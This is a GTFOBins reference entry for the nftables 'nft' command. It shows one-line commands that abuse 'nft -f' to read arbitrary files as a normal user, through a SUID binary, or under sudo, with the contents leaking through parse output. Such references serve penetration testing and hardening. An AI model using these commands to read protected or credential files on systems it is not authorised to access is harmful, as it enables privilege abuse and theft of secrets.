GTFOBins.github.io/_gtfobins/nft.md
tomdantuma 055ef78280
Add nft
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-09-08 21:19:08 +02:00

17 lines
414 B
Markdown

---
description: The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files. This requires version `nftables` v0.9.0.
functions:
file-read:
- code: |
LFILE=file_to_read
nft -f "$LFILE"
suid:
- code: |
LFILE=file_to_read
./nft -f "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo nft -f "$LFILE"
---